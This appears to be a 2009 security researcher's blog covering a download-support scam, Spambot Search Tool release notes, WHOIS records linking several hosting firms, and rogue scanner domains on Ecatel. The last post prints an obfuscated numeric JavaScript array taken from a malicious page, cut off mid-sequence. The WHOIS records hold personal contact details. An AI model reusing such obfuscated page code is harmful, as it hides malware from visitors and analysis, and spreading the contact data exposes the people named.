Alas, she's not been through the process herself apparently as she "doesn't need help downloading software", so as I pointed out - she can't tell me about something she's not been through herself - which is why I'm on hold now. She's now going through the process herself apparently (personally I think she's gone for a smoke/drink/toilet break, but it's an 0808 number, so their bill, so I don't care).

.... sorry folks, was on the phone.

Okie, so here's where we are. The person I spoke to on the phone passed me to her supervisor who advised me;

1. He is not authorized to tell me WHO is in charge in his company
2. He CAN NOT pass me to a manager so we can get this cleared up
3. His manager monitors the support@helpmedownload.com inbox, but REFUSED to tell me HOW I am supposed to know it is a manager responding via e-mail, given he couldn't provide me with so much as his managers name
4. His name is "Murphy" (he has no surname apparently), and the location of the place he is currently at (woops, he let that slip!), is in the Philippines (he would not tell me if that was the main helpmedownload.com address, if not, what address it was, or indeed, provide ANY address related to the company!!!!!)
5. Their e-mail address is support@helpmedownload.com and that is the ONLY way in which we can get answers (yes, of course it is Murphy!!!).

... and that's just the parts of the phone call I can remember (sorry folks, was getting very frustrated). In the end, he simply said he would not answer any more of my questions as he was not authorized to speak to me (err, that part is confusing).

After being on the phone with them for over an hour, I ended up getting far too frustrated to continue, given they refused to answer any of my questions, and refused to put me on to anyone that could answer any of my questions, and refused to tell me so much as the name of the person within the company (i.e. a manager, director etc), that was authorized to speak to me on the subject of such.

I urge you to call one of the numbers above (they're toll free/freephone, so won't cost you anything, but you'll get to have so much fun (sic)). Try getting a straight answer from them, try getting to speak to someone in charge of this scam err, company.

If you've been scammed by any of the domains listed above, first things first, contact your credit card company and ask them for a charge back!!!. Next, inform the UK Watchdog (if UK based), or your countries equivalent.

I'd also urge you to contact W1Office with your complaints. Hopefully, the more people that do, the sooner W1Office will boot the company.

It should be noted, the above are by no means the only domains involved in this scam, or other scams similar to this one. There are thousands of them out there, so be careful folks! (and if you find one that's not listed in hpHosts already, feel free to drop me a note!).

In the meantime, if I've forgotten to mention anything (been one of those err, couple hours or so, hehe), do let me know.

Tuesday 17 November 2009

Spambot Search Tool: v0.41

Sorry folks, in fixing the last bug I introduced another.

* Fixed another bug in view_spammers.php and view_spammers_mail.php

Ref: http://temerc.com/forums/viewtopic.php?f=71&t=7606

Download:
http://support.it-mate.co.uk/?mode=Products&act=DL&p=spambotsearchtool

Spambot Search Tool: v0.40

v0.40 of the SBST (Spambot Search Tool) has now been released.

* Fixed bug in view_spammers.php and view_spammers_mail.php

Ref: http://temerc.com/forums/viewtopic.php?f=71&t=7606

Download:
http://support.it-mate.co.uk/?mode=Products&act=DL&p=spambotsearchtool

Sunday 15 November 2009

Real International Business Corp = NatCoWeb (AS46636)

Looking up records for AS46636, I noticed something interesting. The Netblock WhoIs showed a reference to "uaonline", but the AS was saying it belonged to NatCoWeb, clearly something was amiss here, as I remember this as being Real International Business Corp just a few months ago.

I decided to look further, and got clarification that Real International Business Corp, are indeed NatCoWeb, thanks to WhoIs records for both natcoweb.com (204.62.12.11) and gosecure.eu (204.62.15.9) (owned by RIBC).

Domain Name: gosecure.eu
Status: REGISTERED (What this means)
Registered: July 30, 2006
Last update: September 23, 2009, 8:33 am

Registrant

Name: Sabyetyev Sergiy
Organisation: Navilive Private Limited
Language: English
Address:

Suite 8525, 16-18 Circus Road, St. Johns Wood
NW8 6PG, London
United Kingdom

Phone: +44 (0)8704867384
Fax: +44 (0)8704867385
Email: manager@hqhost.net

Registrar technical contacts

Name: Domain Manager
Organisation: PublicDomainRegistry.com
Language: English
Address:

14525 SW Millikan #48732
97005-2343
Oregon
United States

Phone: +1.2013775952
Fax: +1.3202105146
Email: domain.manager@publicdomainregistry.com

Registrar Organisation: Directi Internet Solutions Pvt. Ltd. d/b/a PublicDomainRegistry.com
Website: www.publicdomainregistry.com

Nameservers:

ns20.natcoweb.com
ns10.natcoweb.com


Registrant:
Natcoweb Corp.
5851 West Side Ave
North Bergen, NJ 07047
US
6462333035
Fax:2125916245

Domain Name: NATCOWEB.COM

Administrative Contact:
Sabyetyev, Sergiy ceo@natcoweb.com
5851 West Side Ave
North Bergen, NJ 07047
US
6462333035
Fax:2125916245

Technical Contact:
Sabyetyev, Sergiy ceo@natcoweb.com
5851 West Side Ave
North Bergen, NJ 07047
US
6462333035
Fax:2125916245

Record last updated 08-14-2009 06:29:50 AM
Record expires on 01-13-2016
Record created on 01-13-2007

Domain servers in listed order:
NS10.NATCOWEB.COM 204.62.12.14
NS20.NATCOWEB.COM 204.62.13.6


"Navilive Private Limited", incase you're wondering, have already previously been implicated in a number of malicious activities, including Asprox for example;

http://www.matchent.com/wpress/?q=node/392

And appear to be related, or have ties to, Bigness Group Limited;

http://www.bobbear.co.uk/pfg-inc.html

And just for further clarification, you'll no doubt have noticed that NatCoWeb are down as owning 88.214.241.0/24, and no doubt have noticed the @ipipe.net e-mail address in the net-block records? Well, lets see who owns ipipe.net (hosted at 80.77.95.119) shall we?

Registration Service Provided By: HIGH QUALITY HOST COMPANY
Contact: +1.6462130098

Domain Name: IPIPE.NET

Registrant:
Real International Business Corp
Sabetyev, Sergey (domains@ipipe.net)
244 fifth ave #200
New York
New York,10001-7604
US
Tel. +1.6462130098
Fax. +1.2125916425

Creation Date: 22-Feb-2005
Expiration Date: 22-Feb-2012

Domain servers in listed order:
ns1.ipipe.net
ns2.ipipe.net

Administrative Contact:
Real International Business Corp
Sabetyev, Sergey (domains@ipipe.net)
244 fifth ave #200
New York
New York,10001-7604
US
Tel. +1.6462130098
Fax. +1.2125916425

Technical Contact:
Real International Business Corp
Sabetyev, Sergey (domains@ipipe.net)
244 fifth ave #200
New York
New York,10001-7604
US
Tel. +1.6462130098
Fax. +1.2125916425

Billing Contact:
Real International Business Corp
Sabetyev, Sergey (domains@ipipe.net)
244 fifth ave #200
New York
New York,10001-7604
US
Tel. +1.6462130098
Fax. +1.2125916425

Status:ACTIVE


And who owns 80.77.95.119?

inetnum: 80.77.95.1 - 80.77.95.255
netname: level0-NET-1
descr: level0 is a webhosting organization
country: US
admin-c: MS9776-ripe
tech-c: VK1045-ripe
status: ASSIGNED PA
mnt-by: uaonline
source: RIPE # Filtered

person: Soldatov Maxim
address: Marylebone high street 78
address: W1U 5AP London
phone: +380 50 4985406
e-mail: makc@ipipe.net
org: ORG-RIBC1-RIPE
nic-hdl: MS9776-ripe
mnt-by: uaonline
source: RIPE # Filtered

person: Vladimir Klenov
address: London, United Kingdom
phone: +380 50 4985406
e-mail: maple@ipipe.net
nic-hdl: VK1045-ripe
mnt-by: uaonline
source: RIPE # Filtered


If they were trying to re-brand themselves without anyone noticing, they've certainly done a very poor job of it. Navilive Private Limited = Real International Business Corp = NatCoWeb and (hqhost.net = ipipe.net) = Real International Business Corp.

Crimeware friendly ISP's: Ecatel (AS29073)

Ecatel (AS29073) have been on the radar for quite some time now, and looking at the amount of malicious content on their network, I'm not expecting this to go away any time soon.

What I do find interesting, is the newest domains I've come across on their network, appear to be trying (and very badly I might add) to confuse automated analysis by obfuscating the code of the site you're eventually taken to by for example, the blackhat SEO campaigns. The following for example, is a couple of those I've recently come across:

online-check-v1.com/scan1/?pid=283s1&engine=%3DHQx2DjuODkuMTIzLjU2JnRpbWU9MTI1MzMyMA0OaA%3DO
perfectscan01.com/1/?sess=%3DWG19jDwOC0xJmlwPTgyLjM5LjEyMy41NiZ0aW1lPTEyNTQzMAIMNQkM

online-check-v1.com is located at 93.174.93.188 (AS: 29073 93.174.88.0/21 ECATEL-AS AS29073, Ecatel Network), with perfectscan01.com being located at 89.248.162.149 (AS: 29073 89.248.160.0/21 ECATEL-AS AS29073, Ecatel Network).

If we take a look at the source code for one of these, we see the following bit of lovelyness;

var str=[417,467,523,512,523,515,508,469,474,518,516,519,524,523,508,521,439,490,508,506,524,521,512,523,528,467,454,523,512,523,515,508,469,417,467,522,506,521,512,519,523,439,523,528,519,508,468,441,523,508,527,523,454,513,504,525,504,522,506,521,512,519,523,441,439,522,521,506,468,441,512,516,510,454,513,520,524,508,521,528,453,513,522,441,469,467,454,522,506,521,512,519,523,469,417,467,522,506,521,512,519,523,439,523,528,519,508,468,441,523,508,527,523,454,513,504,525,504,522,506,521,512,519,523,441,439,522,521,506,468,441,512,516,510,454,513,520,524,508,521,528,452,512,517,512,523,453,513,522,441,469,467,454,522,506,521,512,519,523,469,417,467,522,506,521,512,519,523,439,523,528,519,508,468,441,523,508,527,523,454,513,504,525,504,522,506,521,512,519,523,441,439,522,521,506,468,441,512,516,510,454,507,521,524,510,517,507,521,518,519,453,513,522,441,469,467,454,522,506,521,512,519,523,469,417,467,522,506,521,512,519,523,469,417,417,525,504,521,439,509,517,516,468,517,508,526,439,472,521,521,504,528,447,448,466,417,509,517,516,498,455,500,439,468,439,446,443,453,512,517,509,446,466,417,509,517,516,498,456,500,439,468,439,446,456,457,460,457,455,459,458,462,453,506,519,527,446,466,417,509,517,516,498,457,500,439,468,439,446,456,457,460,457,455,463,460,455,453,506,519,527,446,466,417,509,517,516,498,458,500,439,468,439,446,461,523,518,459,522,525,506,453,507,515,515,446,466,417,509,517,516,498,459,500,439,468,439,446,453,507,515,515,446,466,417,509,517,516,498,460,500,439,468,439,446,504,504,506,515,512,508,517,523,453,507,515,515,446,466,417,509,517,516,498,461,500,439,468,439,446,472,505,518,524,523,489,508,519,515,512,478,518,453,507,515,515,446,466,417,509,517,516,498,462,500,439,468,439,446,504,506,458,504,506,516,453,504,506,516,446,466,417,509,517,516,498,463,500,439,468,439,446,504,506,506,508,522,522,453,506,519,515,446,466,417,509,517,516,498,464,500,439,468,439,446,504,506,506,523,521,508,522,453,507,515,515,446,466,417,509,517,516,498,456,455,500,439,468,439,446,504,506,506,526,512,529,453,508,527,508,446,466,417,509,517,516,498,456,456,500,439,468,439,446,504,506,508,515,519,507,508,506,453,504,527,446,466,417,509,517,516,498,456,457,500,439,468,439,446,504,506,515,508,507,512,523,453,507,515,515,446,466,417,509,517,516,498,456,458,500,439,468,439,446,504,506,515,524,512,453,507,515,515,446,466,417,509,517,516,498,456,459,500,439,468,439,446,504,506,523,512,525,508,507,522,453,507,515,515,446,466,417,509,517,516,498,456,460,500,439,468,439,446,504,506,523,512,525,508,507,522,453,523,515,505,446,466,417,509,517,516,498,456,461,500,439,468,439,446,504,506,523,516,518,525,512,508,453,508,527,508,446,466,417,509,517,516,498,456,462,500,439,468,439,446,504,506,523,527,519,521,527,528,453,507,515,515,446,466,417,509,517,516,498,456,463,500,439,468,439,446,472,475,484,476,453,475,483,483,446,466,417,509,517,516,498,456,464,500,439,468,439,446,504,507,516,519,504,521,522,508,453,507,515,515,446,466,417,509,517,516,498,457,455,500,439,468,439,446,504,507,516,526,519,521,518,527,453,507,515,515,446,466,417,509,517,516,498,457,456,500,439,468,439,446,504,507,516,527,519,521,518,527,453,507,515,515,446,466,417,509,517,516,498,457,457,500,439,468,439,446,504,507,519,523,512,509,453,507,515,515,446,466,417,509,517,516,498,457,458,500,439,468,439,446,504,507,522,512,512,522,453,507,515,515,446,466,417,509,517,516,498,457,459,500,439,468,439,446,504,507,522,515,507,519,453,507,515,515,446,466,417,509,517,516,498,457,460,500,439,468,439,446,504,507,522,515,507,519,506,453,507,515,515,446,466,417,509,517,516,498,457,461,500,439,468,439,446,504,507,522,516,522,508,527,523,453,507,515,515,446,466,417,509,517,516,498,457,462,500,439,468,439,446,504,507,522,517,507,522,453,507,515,515,446,466,417,509,517,516,498,457,463,500,439,468,439,446,504,507,522,517,523,453,507,515,515,446,466,417,509,517,516,498,457,464,500,439,468,439,446,504,507,522,517,526,453,507,515,515,446,466,417,509,517,516,498,458,455,500,439,468,439,446,504,507,525,504,519,512,458,457,453,507,515,515,446,466,417,509,517,516,498,458,456,500,439,468,439,446,504,507,525,519,504,506,514,453,507,515,515,446,466,417,509,517,516,498,458,457,500,439,468,439,446,504,510,504,522,453,507,515,515,446,466,417,509,517,516,498,458,458,500,439,468,439,446,504,511,524,512,453,508,527,508,446,466,417,509,517,516,498,458,459,500,439,468,439,446,504,515,510,453,508,527,508,446,466,417,509,517,516,498,458,460,500,439,468,439,446,504,515,521,522,525,506,453,507,515,515,446,466,417,509,517,516,498,458,461,500,439,468,439,446,504,516,506,518,516,519,504,523,453,523,515,505,446,466,417,509,517,516,498,458,462,500,439,468,439,446,504,516,522,523,521,508,504,516,453,507,515,515,446,466,417,509,517,516,498,458,463,500,439,468,439,446,504,517,522,512,453,522,528,522,446,466,417,509,517,516,498,458,464,500,439,468,439,446,504,519,506,524,519,522,453,507,515,515,446,466,417,509,517,516,498,459,455,500,439,468,439,446,504,519,519,508,517,507,453,508,527,508,446,466,417,509,517,516,498,459,456,500,439,468,439,446,504,519,519,511,508,515,519,453,507,515,515,446,466,417,509,517,516,498,459,457,500,439,468,439,446,504,519,519,516,510,516,523,522,453,507,515,515,446,466,417,509,517,516,498,459,458,500,439,468,439,446,504,519,519,516,510,521,453,507,515,515,446,466,417,509,517,516,498,459,459,500,439,468,439,446,504,519,519,526,512,529,453,506,519,515,446,466,417,509,517,516,498,459,460,500,439,468,439,446,472,521,516,472,506,506,508,522,522,453,507,515,515,446,466,417,509,517,516,498,459,461,500,439,468,439,446,504,521,519,453,508,527,508,446,466,417,509,517,516,498,459,462,500,439,468,439,446,504,522,506,523,521,515,522,453,518,506,527,446,466,417,509,517,516,498,459,463,500,439,468,439,446,504,522,509,508,521,521,518,521,453,507,515,515,446,466,417,509,517,516,498,459,464,500,439,468,439,446,504,522,509,522,512,519,506,453,507,515,515,446,466,417,509,517,516,498,460,455,500,439,468,439,446,504,522,521,502,509,516,523,453,508,527,508,446,466,417,509,517,516,498,460,456,500,439,468,439,446,504,522,521,502,515,507,516,453,508,527,508,446,466,417,509,517,516,498,460,457,500,439,468,439,446,504,522,521,502,519,509,524,453,508,527,508,446,466,417,509,517,516,498,460,458,500,439,468,439,446,504,522,528,506,509,512,515,523,453,507,515,515,446,466,417,509,517,516,498,460,459,500,439,468,439,446,504,523,453,508,527,508,446,466,417,509,517,516,498,460,460,500,439,468,439,446,472,523,504,515,504,480,516,510,457,453,507,515,515,446,466,417,509,517,516,498,460,461,500,439,468,439,446,472,523,504,515,504,480,490,453,507,515,515,446,466,417,509,517,516,498,460,462,500,439,468,439,446,472,523,504,515,474,523,521,515,453,518,506,527,446,466,417,509,517,516,498,460,463,500,439,468,439,446,504,523,511,519,521,527,528,453,507,515,515,446,466,417,509,517,516,498,460,464,500,439,468,439,446,504,523,512,457,506,520,504,510,453,507,515,515,446,466,417,509,517,516,498,461,455,500,439,468,439,446,504,523,512,457,507,525,504,510,453,507,515,515,446,466,417,509,517,516,498,461,456,500,439,468,439,446,504,523,512,457,508,507,527,527,453,507,515,515,446,466,417,509,517,516,498,461,457,500,439,468,439,446,504,523,512,457,508,525,527,527,453,507,515,515,446,466,417,509,517,516,498,461,458,500,439,468,439,446,504,523,512,457,508,525,527,527,453,508,527,508,446,466,417,509,517,516,498,461,459,500,439,468,439,446,472,523,512,457,516,507,527,527,453,508,527,508,446,466,417,509,517,516,498,461,460,500,439,468,439,446,504,523,512,457,522,510,504,510,453,508,527,508,446,466,417,509,517,516,498,461,461,500,439,468,439,446,504,523,512,458,507,524,504,510,453,507,515,515,446,466,417,509,517,516,498,461,462,500,439,468,439,446,472,491,480,475,475,474,453,475,483,483,446,466,417,509,517,516,498,461,463,500,439,468,439,446,472,491,480,475,476,484,478,489,453,507,515,515,446,466,417,509,517,516,498,461,464,500,439,468,439,446,472,491,480,475,476,484,478,495,453,507,515,515,446,466,417,509,517,516,498,462,455,500,439,468,439,446,504,523,512,509,510,515,519,509,453,527,516,515,446,466,417,509,517,516,498,462,456,500,439,468,439,446,504,523,512,512,506,507,527,527,453,507,504,523,446,466,417,509,517,516,498,462,457,500,439,468,439,446,504,523,512,512,512,508,527,527,453,507,515,515,446,466,417,509,517,516,498,462,458,500,439,468,439,446,504,523,512,514,525,516,504,510,453,507,515,515,446,466,417,509,517,516,498,462,459,500,439,468,439,446,504,523,512,518,510,515,527,456,453,507,515,515,446,466,417,509,517,516,498,462,460,500,439,468,439,446,504,523,512,518,510,515,527,457,453,507,515,515,446,466,417,509,517,516,498,462,461,500,439,468,439,446,504,523,512,518,510,515,527,527,453,507,515,515,446,466,417,509,517,516,498,462,462,500,439,468,439,446,504,523,512,518,514,458,527,457,453,507,515,515,446,466,417,509,517,516,498,462,463,500,439,468,439,446,504,523,512,519,507,515,527,527,453,507,515,515,446,466,417,509,517,516,498,462,464,500,439,468,439,446,504,523,512,523,525,518,458,457,453,507,515,515,446,466,417,509,517,516,498,463,455,500,439,468,439,446,504,523,512,525,506,518,527,527,453,507,515,515,446,466,417,509,517,516,498,463,456,500,439,468,439,446,504,523,512,525,525,504,460,527,453,507,504,523,446,466,417,509,517,516,498,463,457,500,439,468,439,446,504,523,512,525,525,504,461,527,453,507,504,523,446,466,417,509,517,516,498,463,458,500,439,468,439,446,504,523,512,525,525,504,527,527,453,507,504,523,446,466,417,509,517,516,498,463,459,500,439,468,439,446,504,523,512,525,525,504,527,527,453,507,515,515,446,466,417,509,517,516,498,463,460,500,439,468,439,446,504,523,514,506,523,521,522,453,507,515,515,446,466,417,509,517,516,498,463,461,500,439,468,439,446,504,523,515,453,507,515,515,446,466,417,509,517,516,498,463,462,500,439,468,439,446,504,523,515,462,456,453,507,515,515,446,466,417,509,517,516,498,463,463,500,439,468,439,446,472,523,515,474,518,515,518,521,453,518,506,527,446,466,417,509,517,516,498,463,464,500,439,468,439,446,504,523,516,504,507,516,453,508,527,508,446,466,417,509,517,516,498,464,455,500,439,468,439,446,504,523,516,509,507,453,507,515,515,446,466,417,509,517,516,498,464,456,500,439,468,439,446,504,523,516,515,512,505,453,507,515,515,446,466,417,509,517,516,498,464,457,500,439,468,439,446,504,523,516,519,525,506,517,518,453,507,515,515,446,466,417,509,517,516,498,464,458,500,439,468,439,446,504,523,521,504,506,508,453,507,515,515,446,466,417,509,517,516,498,464,459,500,439,468,439,446,504,523,523,521,512,505,453,508,527,508,446,466,417,509,517,516,498,464,460,500,439,468,439,446,472,524,507,512,518,507,508,525,453,507,515,515,446,466,417,509,517,516,498,464,461,500,439,468,439,446,504,524,507,512,518,522,521,525,453,507,515,515,446,466,417,509,517,516,498,464,462,500,439,468,439,446,504,524,507,512,523,524,522,521,453,508,527,508,446,466,417,509,517,516,498,464,463,500,439,468,439,446,504,524,523,511,529,453,507,515,515,446,466,417,509,517,516,498,464,464,500,439,468,439,446,504,524,523,518,506,511,514,453,508,527,508,446,466,417,509,517,516,498,456,455,455,500,439,468,439,446,504,524,523,518,506,518,517,525,453,508,527,508,446,466,417,509,517,516,498,456,455,456,500,439,468,439,446,504,524,523,518,507,512,522,506,453,507,515,515,446,466,417,509,517,516,498,456,455,457,500,439,468,439,446,472,492,491,486,476,495,476,474,453,485,491,446,466,417,509,517,516,498,456,455,458,500,439,468,439,446,504,524,523,518,509,516,523,453,508,527,508,446,466,417,509,517,516,498,456,455,459,500,439,468,439,446,504,524,523,518,515,509,517,453,508,527,508,446,466,417,509,517,516,498,456,455,460,500,439,468,439,446,504,525,512,506,504,519,453,507,515,515,446,466,417,509,517,516,498,456,455,461,500,439,468,439,446,504,525,512,506,504,519,458,457,453,507,515,515,446,466,417,509,517,516,498,456,455,462,500,439,468,439,446,504,525,512,509,512,515,458,457,453,507,515,515,446,466,417,509,517,516,498,456,455,463,500,439,468,439,446,504,525,512,509,512,515,508,453,507,515,515,446,466,417,509,517,516,498,456,455,464,500,439,468,439,446,504,525,516,508,523,508,521,453,507,515,515,446,466,417,509,517,516,498,456,456,455,500,439,468,439,446,504,525,523,504,519,512,453,507,515,515,446,466,417,509,517,516,498,456,456,456,500,439,468,439,446,504,525,526,504,525,453,507,515,515,446,466,417,509,517,516,498,456,456,457,500,439,468,439,446,505,504,522,508,522,521,525,453,507,515,515,446,466,417,509,517,516,498,456,456,458,500,439,468,439,446,505,504,522,522,453,507,515,515,446,466,417,509,517,516,498,456,456,459,500,439,468,439,446,473,472,490,490,484,486,475,453,507,515,515,446,466,417,509,517,516,498,456,456,460,500,439,468,439,446,505,504,522,522,526,516,504,453,507,515,515,446,466,417,509,517,516,498,456,456,461,500,439,468,439,446,505,504,523,516,508,523,508,521,453,507,515,515,446,466,417,509,517,516,498,456,456,462,500,439,468,439,446,505,504,523,523,453,507,515,515,446,466,417,509,517,516,498,456,456,463,500,439,468,439,446,473,474,478,474,473,487,489,486,463,455,455,453,507,515,515,446,466,417,509,517,516,498,456,456,464,500,439,468,439,446,473,474,478,474,473,487,489,486,463,455,455,524,453,507,515,515,446,466,417,509,517,516,498,456,457,455,500,439,468,439,446,473,474,478,487,486,515,508,472,506,506,453,507,515,515,446,466,417,509,517,516,498,456,457,456,500,439,468,439,446,505,512,507,512,522,519,515,453,507,515,515,446,466,417,509,517,516,498,456,457,457,500,439,468,439,446,505,512,518,522,456,453,521,518,516,446,466,417,509,517,516,498,456,457,458,500,439,468,439,446,505,512,518,522,459,453,521,518,516,446,466,417,509,517,516,498,456,457,459,500,439,468,439,446,505,512,523,522,519,521,527,457,453,507,515,515,446,466,417,509,517,516,498,456,457,460,500,439,468,439,446,505,512,523,522,519,521,527,458,453,507,515,515,446,466,417,509,517,516,498,456,457,461,500,439,468,439,446,505,515,504,506,514,505,518,527,453,507,515,515,446,466,417,509,517,516,498,456,457,462,500,439,468,439,446,505,515,504,522,523,506,515,517,453,508,527,508,446,466,417,509,517,516,498,456,457,463,500,439,468,439,446,505,518,518,523,506,509,510,453,508,527,508,446,466,417,509,517,516,498,456,457,464,500,439,468,439,446,505,518,518,523,518,514,453,508,527,508,446,466,417,509,517,516,498,456,458,455,500,439,468,439,446,505,518,518,523,525,512,507,453,507,515,515,446,466,417,509,517,516,498,456,458,456,500,439,468,439,446,505,518,518,523,525,521,509,528,453,508,527,508,446,466,417,509,517,516,498,456,458,457,500,439,468,439,446,505,518,519,518,516,518,509,518,453,524,506,508,446,466,417,509,517,516,498,456,458,458,500,439,468,439,446,505,521,518,526,522,508,515,506,453,507,515,515,446,466,417,509,517,516,498,456,458,459,500,439,468,439,446,505,521,518,526,522,508,521,453,507,515,515,446,466,417,509,517,516,498,456,458,460,500,439,468,439,446,505,521,518,526,522,508,524,512,453,507,515,515,446,466,417,509,517,516,498,456,458,461,500,439,468,439,446,505,521,518,526,522,508,526,516,453,507,515,515,446,466,417,509,517,516,498,456,458,462,500,439,468,439,446,505,523,457,514,502,512,517,522,453,507,515,515,446,466,417,509,517,516,498,456,458,463,500,439,468,439,446,473,523,472,524,507,512,518,479,508,515,519,508,521,453,507,515,515,446,466,417,509,517,516,498,456,458,464,500,439,468,439,446,505,523,505,512,510,505,516,519,453,507,515,515,446,466,417,509,517,516,498,456,459,455,500,439,468,439,446,505,523,505,512,519,453,507,515,515,446,466,417,509,517,516,498,456,459,456,500,439,468,439,446,505,523,506,519,515,453,506,519,515,446,466,417,509,517,516,498,456,459,457,500,439,468,439,446,505,523,506,519,515,453,506,519,515,453,516,504,517,512,509,508,522,523,446,466,417,509,517,516,498,456,459,458,500,439,468,439,446,505,523,506,522,522,453,507,515,515,446,466,417,509,517,516,498,456,459,459,500,439,468,439,446,505,523,506,522,522,453,507,515,515,453,516,504,517,512,509,508,522,523,446,466,417,509,517,516,498,456,459,460,500,439,468,439,446,505,523,507,508,525,453,507,515,515,446,466,417,509,517,516,498,456,459,461,500,439,468,439,446,505,523,511,506,512,453,507,515,515,446,466,417,509,517,516,498,456,459,462,500,439,468,439,446,505,523,511,506,521,519,453,507,515,515,446,466,417,509,517,516,498,456,459,463,500,439,468,439,446,505,523,511,506,521,519,524,512,453,507,515,515,446,466,417,509,517,516,498,456,459,464,500,439,468,439,446,505,523,511,519,521,518,519,522,453,506,519,515,446,466,417,509,517,516,498,456,460,455,500,439,468,439,446,505,523,511,522,508,521,525,453,507,515,515,446,466,417,509,517,516,498,456,460,456,500,439,468,439,446,505,523,512,517,522,453,507,515,515,446,466,417,509,517,516,498,456,460,457,500,439,468,439,446,473,491,485,474,518,519,528,453,507,515,515,446,466,417,509,517,516,498,456,460,458,500,439,468,439,446,473,491,485,474,518,519,528,453,523,515,505,446,466,417,509,517,516,498,456,460,459,500,439,468,439,446,473,491,485,508,512,510,511,505,518,521,511,518,518,507,453,507,515,515,446,466,417,509,517,516,498,456,460,460,500,439,468,439,446,473,491,485,508,512,510,511,505,518,521,511,518,518,507,453,507,515,515,453,516,504,517,512,509,508,522,523,446,466,417,509,517,516,498,456,460,461,500,439,468,439,446,473,491,485,508,512,510,511,505,518,521,511,518,518,507,453,523,515,505,446,466,417,509,517,516,498,456,460,462,500,439,468,439,446,505,523,518,522,512,509,453,507,515,515,446,466,417,509,517,516,498,456,460,463,500,439,468,439,446,505,523,518,522,512,509,502,517,518,523,508,522,453,507,515,515,446,466,417,509,517,516,498,456,460,464,500,439,468,439,446,505,523,518,522,512,509,502,518,515,453,507,515,515,446,466,417,509,517,516,498,456,461,455,500,439,468,439,446,505,523,518,522,512,509,502,518,515,527,453,507,515,515,446,466,417,509,517,516,498,456,461,456,500,439,468,439,446,505,523,519,504,517,524,512,453,507,515,515,446,466,417,509,517,516,498,456,461,457,500,439,468,439,446,505,523,519,521,517,457,514,453,507,515,515,446,466,417,509,517,516,498,456,461,458,500,439,468,439,446,505,523,521,508,529,453,507,515,515,446,466,417,509,517,516,498,456,461,459,500,439,468,439,446,505,523,521,508,529,527,519,453,507,515,515,446,466,417,509,517,516,498,456,461,460,500,439,468,439,446,505,523,522,508,506,453,507,515,515,446,466,417,509,517,516,498,456,461,461,500,439,468,439,446,505,523,522,508,517,507,523,518,453,507,515,515,446,466,417,509,517,516,498,456,461,462,500,439,468,439,446,505,523,522,508,517,507,523,518,502,512,508,453,507,515,515,446,466,417,509,517,516,498,456,461,463,500,439,468,439,446,505,523,522,508,517,507,523,518,502,515,517,504,510,508,517,523,453,517,522,509,446,466,417,509,517,516,498,456,461,464,500,439,468,439,446,505,523,522,508,517,507,523,518,502,517,518,523,508,522,453,507,515,515,446,466,417,509,517,516,498,456,462,455,500,439,468,439,446,505,523,522,508,517,507,523,518,502,518,509,509,512,506,508,453,507,515,515,446,466,417,509,517,516,498,456,462,456,500,439,468,439,446,505,523,522,508,517,507,523,518,502,526,504,505,453,507,515,515,446,466,417,509,517,516,498,456,462,457,500,439,468,439,446,505,523,526,511,512,507,506,522,453,507,515,515,446,466,417,509,517,516,498,456,462,458,500,439,468,439,446,473,523,494,512,504,476,527,523,453,507,515,515,446,466,417,509,517,516,498,456,462,459,500,439,468,439,446,473,523,494,512,529,504,521,507,453,507,515,515,446,466,417,509,517,516,498,456,462,460,500,439,468,439,446,505,523,526,519,512,516,512,509,453,507,515,515,446,466,417,509,517,516,498,456,462,461,500,439,468,439,446,505,523,526,502,506,512,453,507,515,515,446,466,417,509,517,516,498,456,462,462,500,439,468,439,446,473,491,495,487,487,504,517,508,515,453,507,515,515,446,466,417,509,517,516,498,456,462,463,500,439,468,439,446,473,491,495,487,487,504,517,508,515,453,523,515,505,446,466,417,509,517,516,498,456,462,464,500,439,468,439,446,473,523,495,519,490,511,508,515,515,453,507,515,515,446,466,417,509,517,516,498,456,463,455,500,439,468,439,446,474,452,495,483,490,453,507,515,515,446,466,417,509,517,516,498,456,463,456,500,439,468,439,446,506,504,505,512,517,508,523,453,507,515,515,446,466,417,509,517,516,498,456,463,457,500,439,468,439,446,506,504,505,525,512,508,526,453,507,515,515,446,466,417,509,517,516,498,456,463,458,500,439,468,439,446,506,504,506,515,522,453,508,527,508,446,466,417,509,517,516,498,456,463,459,500,439,468,439,446,506,504,515,506,453,508,527,508,446,466,417,509,517,516,498,456,463,460,500,439,468,439,446,506,504,516,518,506,527,453,507,515,515,446,466,417,509,517,516,498,456,463,461,500,439,468,439,446,506,504,519,508,522,517,519,517,453,507,515,515,446,466,417,509,517,516,498,456,463,462,500,439,468,439,446,506,504,521,507,522,453,507,515,515,446,466,417,509,517,516,498,456,463,463,500,439,468,439,446,506,504,523,522,521,525,453,507,515,515,446,466,417,509,517,516,498,456,463,464,500,439,468,439,446,506,504,523,522,521,525,519,522,453,507,515,515,446,466,417,509,517,516,498,456,464,455,500,439,468,439,446,506,504,523,522,521,525,524,523,453,507,515,515,446,466,417,509,517,516,498,456,464,456,500,439,468,439,446,506,506,509,510,517,523,453,507,515,515,446,466,417,509,517,516,498,456,464,457,500,439,468,439,446,506,506,521,519,505,507,522,461,453,507,515,515,446,466,417,509,517,516,498,456,464,458,500,439,468,439,446,506,506,521,519,519,521,510,461,453,518,506,527,446,466,417,509,517,516,498,456,464,459,500,439,468,439,446,506,507,509,525,512,508,526,453,507,515,515,446,466,417,509,517,516,498,456,464,460,500,439,468,439,446,506,507,516,453,507,515,515,446,466,417,509,517,516,498,456,464,461,500,439,468,439,446,506,507,516,518,507,508,516,453,507,515,515,446,466,417,509,517,516,498,456,464,462,500,439,468,439,446,506,507,518,522,528,522,453,507,515,515,446,466,417,509,517,516,498,456,464,463,500,439,468,439,446,506,507,519,515,504,528,508,521,453,508,527,508,453,516,504,517,512,509,508,522,523,446,466,417,509,517,516,498,456,464,464,500,439,468,439,446,474,475,489,512,519,458,453,507,515,515,446,466,417,509,517,516,498,457,455,455,500,439,468,439,446,506,508,521,523,506,515,512,453,507,515,515,446,466,417,509,517,516,498,457,455,456,500,439,468,439,446,506,508,521,523,516,510,521,453,507,515,515,446,466,417,509,517,516,498,457,455,457,500,439,468,439,446,506,508,521,523,516,510,521,453,516,522,506,446,466,417,509,517,516,498,457,455,458,500,439,468,439,446,474,476,494,484,475,484,453,507,515,515,446,466,417,509,517,516,498,457,455,459,500,439,468,439,446,506,509,510,505,514,508,517,507,453,507,515,515,446,466,417,509,517,516,498,457,455,460,500,439,468,439,446,506,509,510,516,510,521,458,457,453,507,515,515,446,466,417,509,517,516,498,457,455,461,500,439,468,